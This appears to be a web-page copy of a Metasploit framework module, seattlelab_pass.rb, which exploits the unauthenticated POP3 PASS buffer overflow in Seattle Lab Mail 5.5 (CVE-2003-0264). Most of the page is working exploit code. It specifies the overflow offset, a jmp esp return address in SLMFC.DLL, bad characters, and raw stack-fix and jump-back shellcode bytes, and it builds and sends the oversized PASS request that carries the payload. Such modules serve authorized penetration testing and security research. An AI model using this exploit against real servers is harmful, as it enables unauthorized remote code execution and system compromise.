Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/pop3/seattlelab_pass.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(update_info(info,12'Name' => 'Seattle Lab Mail 5.5 POP3 Buffer Overflow',13'Description' => %q{14There exists an unauthenticated buffer overflow vulnerability15in the POP3 server of Seattle Lab Mail 5.5 when sending a password16with excessive length.1718Successful exploitation should not crash either the19service or the server; however, after initial use the20port cannot be reused for successive exploitation until21the service has been restarted. Consider using a command22execution payload following the bind shell to restart23the service if you need to reuse the same port.2425The overflow appears to occur in the debugging/error reporting26section of the slmail.exe executable, and there are multiple27offsets that will lead to successful exploitation. This exploit28uses 2606, the offset that creates the smallest overall payload.29The other offset is 4654.3031The return address is overwritten with a "jmp esp" call from the32application library SLMFC.DLL found in %SYSTEM%\\system32\\. This33return address works against all version of Windows and service packs.3435The last modification date on the library is dated 06/02/99. Assuming36that the code where the overflow occurs has not changed in some time,37prior version of SLMail may also be vulnerable with this exploit. The38author has not been able to acquire older versions of SLMail for39testing purposes. Please let us know if you were able to get this40exploit working against other SLMail versions.41},42'Author' => 'stinko',43'License' => MSF_LICENSE,44'References' =>45[46['CVE', '2003-0264'],47['OSVDB', '11975'],48['BID', '7519'],49],50'Privileged' => true,51'DefaultOptions' =>52{53'EXITFUNC' => 'thread',54},55'Payload' =>56{57'Space' => 600,58'BadChars' => "\x00\x0a\x0d\x20",59'MinNops' => 100,60},61'Platform' => 'win',62'Targets' =>63[64['Windows NT/2000/XP/2003 (SLMail 5.5)', { 'Ret' => 0x5f4a358f, 'Offset' => 2606 } ]65],66'DisclosureDate' => '2003-05-07',67'DefaultTarget' => 0))6869register_options(70[71Opt::RPORT(110)72])7374end7576def exploit77connect7879print_status("Trying #{target.name} using jmp esp at #{"%.8x" % target.ret}")8081banner = sock.get_once || ''82if banner !~ /^\+OK POP3 server (.*) ready/83print_error("POP3 server does not appear to be running")84return85end8687sock.put("USER #{rand_text_alphanumeric(10)}\r\n")88banner = sock.get_once89if banner !~ /^\+OK (.*) welcome here/90print_error("POP3 server rejected username")91return92end9394request = "PASS " + rand_text_alphanumeric(target['Offset'] - payload.encoded.length)95request << payload.encoded96request << [target.ret].pack('V')97request << "\x81\xc4\xff\xef\xff\xff\x44" # fix the stack98request << "\xe9\xcb\xfd\xff\xff" # go back 560 bytes99request << rand_text_alphanumeric(512) # cruft100request << "\r\n"101102sock.put(request)103104handler105disconnect106end107end108109110